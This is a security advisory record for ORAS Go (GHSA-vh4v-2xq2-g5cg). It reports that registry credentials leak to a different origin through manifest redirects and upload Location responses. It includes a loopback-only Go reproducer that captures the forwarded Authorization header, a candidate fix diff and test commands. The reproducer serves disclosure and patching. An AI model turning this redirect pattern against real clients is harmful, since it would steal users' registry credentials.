{"id":"GHSA-vh4v-2xq2-g5cg","aliases":["GO-2026-5884"],"url":"https://o3.security/vulnerability/GHSA-vh4v-2xq2-g5cg","summary":"ORAS Go forwards registry credentials across registry redirects","details":"# ORAS Go forwards registry credentials across registry redirects\n\nReporter / public credit: JUNYI LIU\n\n## Summary\n\nORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.\n\nThere are two related paths:\n\n1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin `Authorization` header to the redirect target.\n2. A blob upload `POST` authenticates to the origin registry, then the origin returns an upload `Location` on another host or port. The follow-up `PUT` can carry the origin `Authorization` header to the `Location` target.\n\nThe upload `Location` issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload `Location` fix still forwards Basic credentials on an authenticated manifest redirect.\n\n## Impact\n\nA registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.\n\nThis is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.\n\n## Affected Versions Tested\n\n- `oras-go v2.6.0`: affected.\n- `oras-go` main at commit `a57383e580c8f2c97fb67dedfc5c9945c8c3614e`: affected.\n- `oras-go` v2 branch at commit `d593d504779be8b69f0ba034ac9fd407d1fc8cfc`: upload `Location` path is blocked, but manifest redirect credential forwarding is still affected.\n- ORAS CLI at commit `3d2646279c70ba60415440e44c2ff97896e4a209`, using `oras-go v2.6.0`: affected when using `--registry-config`.\n\n## Security Invariant\n\nCredentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload `Location` response.\n\n## Local Reproduction Overview\n\nAll testing used loopback servers and fake credentials only.\n\nManifest redirect flow:\n\n1. The client requests a manifest from the origin registry.\n2. The origin returns `401` with a Basic challenge.\n3. The client retries the origin request with the origin credential.\n4. The origin returns `307` to another port on the same hostname.\n5. The redirect sink receives the origin `Authorization` header.\n\nORAS CLI stored-credential flow:\n\n1. A temporary registry config contains a fake Basic credential for the origin registry only.\n2. Run:\n\n```sh\noras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest\n```\n\n3. The origin authenticates the request and redirects it to another port.\n4. The redirect sink receives the origin `Authorization` header.\n\nBlob upload `Location` flow:\n\n1. The client starts a blob upload with `POST` to the origin registry.\n2. The origin challenges with Basic and then accepts the authenticated `POST`.\n3. The origin returns an upload `Location` URL on another port.\n4. In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header.\n\n## Expected Result\n\nRedirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header.\n\n## Observed Result\n\nIn affected versions, redirect or `Location` sinks received:\n\n```http\nAuthorization: Basic <base64 origin_user:origin_pass>\n```\n\n## Standalone Reproducer\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/opencontainers/go-digest\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/auth\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/credentials\"\n)\n\ntype hit struct {\n\tMethod string `json:\"method\"`\n\tPath   string `json:\"path\"`\n\tHost   string `json:\"host\"`\n\tAuth   string `json:\"auth,omitempty\"`\n}\n\nfunc main() {\n\tconst username = \"origin_user\"\n\tconst password = \"origin_pass\"\n\tconst expectedAuth = \"Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=\"\n\tvar mu sync.Mutex\n\tvar originHits, sinkHits []hit\n\n\trecord := func(dst *[]hit, r *http.Request) {\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\t\t*dst = append(*dst, hit{\n\t\t\tMethod: r.Method,\n\t\t\tPath:   r.URL.RequestURI(),\n\t\t\tHost:   r.Host,\n\t\t\tAuth:   r.Header.Get(\"Authorization\"),\n\t\t})\n\t}\n\n\tmanifest := []byte(`{\"schemaVersion\":2,\"mediaType\":\"application/vnd.oci.image.manifest.v1+json\",\"config\":{\"mediaType\":\"application/vnd.unknown.config.v1+json\",\"digest\":\"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\",\"size\":2},\"layers\":[]}`)\n\tmanifestDigest := digest.FromBytes(manifest).String()\n\n\tsink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(&sinkHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"redirect-sink\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/vnd.oci.image.manifest.v1+json\")\n\t\tw.Header().Set(\"Docker-Content-Digest\", manifestDigest)\n\t\tw.Header().Set(\"Content-Length\", fmt.Sprint(len(manifest)))\n\t\t_, _ = w.Write(manifest)\n\t}))\n\tdefer sink.Close()\n\n\torigin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(&originHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"origin\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)\n\t}))\n\tdefer origin.Close()\n\n\trepo, err := remote.NewRepository(origin.Listener.Addr().String() + \"/probe\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trepo.PlainHTTP = true\n\trepo.Client = &auth.Client{\n\t\tClient: origin.Client(),\n\t\tCredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{\n\t\t\tUsername: username,\n\t\t\tPassword: password,\n\t\t}),\n\t}\n\n\t_, _, err = repo.Manifests().FetchReference(context.Background(), \"latest\")\n\n\tleaked := false\n\tfor _, h := range sinkHits {\n\t\tif h.Auth == expectedAuth {\n\t\t\tleaked = true\n\t\t}\n\t}\n\n\tresult := map[string]any{\n\t\t\"origin_hits\": originHits,\n\t\t\"sink_hits\":   sinkHits,\n\t\t\"error\":       \"\",\n\t\t\"leaked\":      leaked,\n\t}\n\tif err != nil {\n\t\tresult[\"error\"] = err.Error()\n\t}\n\tencoded, _ := json.MarshalIndent(result, \"\", \"  \")\n\tfmt.Println(string(encoded))\n\n\tif leaked {\n\t\tfmt.Println(\"VULNERABLE_BEHAVIOR_CONFIRMED\")\n\t\treturn\n\t}\n\tfmt.Println(\"BOUNDARY_HELD_NO_CREDENTIAL_LEAK\")\n\tos.Exit(1)\n}\n```\n\n## Candidate Fix\n\nThe candidate fix does two things:\n\n1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback.\n2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin.\n\nThe patch also adds regression coverage for both redirect cases:\n\n- redirect before origin authentication reaches a different origin;\n- redirect after origin authentication reaches a different origin.\n\n```diff\ndiff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go\nindex 35826eb..60c9f88 100644\n--- a/registry/remote/auth/client.go\n+++ b/registry/remote/auth/client.go\n@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {\n \tfor key, values := range c.Header {\n \t\treq.Header[key] = append(req.Header[key], values...)\n \t}\n-\treturn c.client().Do(req)\n+\tclient := c.client()\n+\tclientCopy := *client\n+\tcheckRedirect := client.CheckRedirect\n+\tclientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {\n+\t\tif len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {\n+\t\t\tredirectReq.Header.Del(headerAuthorization)\n+\t\t}\n+\t\tif checkRedirect != nil {\n+\t\t\treturn checkRedirect(redirectReq, via)\n+\t\t}\n+\t\treturn nil\n+\t}\n+\treturn clientCopy.Do(req)\n+}\n+\n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)\n }\n \n // credential resolves the credential for the given registry.\n@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tvar attemptedKey string\n \tcache := c.cache()\n \thost := originalReq.Host\n+\tif host == \"\" {\n+\t\thost = originalReq.URL.Host\n+\t}\n \tscheme, err := cache.GetScheme(ctx, host)\n \tif err == nil {\n \t\tswitch scheme {\n@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {\n \tif resp.StatusCode != http.StatusUnauthorized {\n \t\treturn resp, nil\n \t}\n+\trespHost := resp.Request.Host\n+\tif respHost == \"\" {\n+\t\trespHost = resp.Request.URL.Host\n+\t}\n+\tif respHost != host {\n+\t\treturn resp, nil\n+\t}\n \n \t// attempt again with credentials for recognized schemes\n \tchallenge := resp.Header.Get(headerWWWAuthenticate)\ndiff --git a/registry/remote/repository.go b/registry/remote/repository.go\nindex 74d6b89..0bd20ec 100644\n--- a/registry/remote/repository.go\n+++ b/registry/remote/repository.go\n@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte\n // Push or by Mount when the receiving repository does not implement the\n // mount endpoint.\n func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {\n+\toriginalURL := req.URL\n \treqHostname := req.URL.Hostname()\n \treqPort := req.URL.Port()\n \t// monolithic upload\n@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \tq.Set(\"digest\", expected.Digest.String())\n \treq.URL.RawQuery = q.Encode()\n \n-\t// reuse credential from previous POST request\n-\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" {\n+\t// reuse credential from previous POST request only when the upload location\n+\t// remains on the same origin.\n+\tif auth := resp.Request.Header.Get(\"Authorization\"); auth != \"\" && sameHTTPOrigin(originalURL, location) {\n \t\treq.Header.Set(\"Authorization\", auth)\n \t}\n \tresp, err = s.repo.do(req)\n@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.\n \treturn nil\n }\n \n+func sameHTTPOrigin(a, b *url.URL) bool {\n+\treturn strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)\n+}\n+\n // Exists returns true if the described content exists.\n func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {\n \tif err := s.repo.checkPolicy(ctx, \"\"); err != nil {\n```\n\n## Validation Performed\n\nThe repaired candidate fix blocked:\n\n- manifest redirect credential forwarding;\n- upload `Location` credential forwarding.\n\nTargeted tests passed:\n\n```sh\ngo test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1\ngo test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1\n```\n\n## Prior Art / Duplicate Notes\n\nPublic pull request #1152 fixes credential forwarding via unvalidated blob upload `Location` and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload `Location` scope.\n\nBearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.\n\n## Claim Boundaries\n\nProven:\n\n- Origin registry Basic credentials can reach a different redirect or upload `Location` origin in local loopback tests.\n- ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.\n- The candidate fix blocks the tested redirect and upload `Location` credential exposures.\n\nNot claimed:\n\n- Live third-party exploitation.\n- RCE, host compromise, or registry compromise.\n- Arbitrary-host exposure beyond the tested redirect/`Location` origin transitions.\n- Bearer realm behavior as part of the same claim.","published":"2026-07-01T21:54:06Z","modified":"2026-09-10T03:51:12.205996066Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"oras.land/oras-go/v2","fixedVersion":"2.6.1"}],"fix":{"url":"https://github.com/oras-project/oras-go/commit/3c2e884e12ea52b6bff60c97f1edb7df7d0e0909","label":"oras-project/oras-go@3c2e884"},"references":[{"type":"WEB","url":"https://github.com/oras-project/oras-go/security/advisories/GHSA-vh4v-2xq2-g5cg"},{"type":"WEB","url":"https://github.com/oras-project/oras-go/commit/3c2e884e12ea52b6bff60c97f1edb7df7d0e0909"},{"type":"PACKAGE","url":"https://github.com/oras-project/oras-go"},{"type":"WEB","url":"https://github.com/oras-project/oras-go/releases/tag/v2.6.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T03:51:12.205996066Z"}}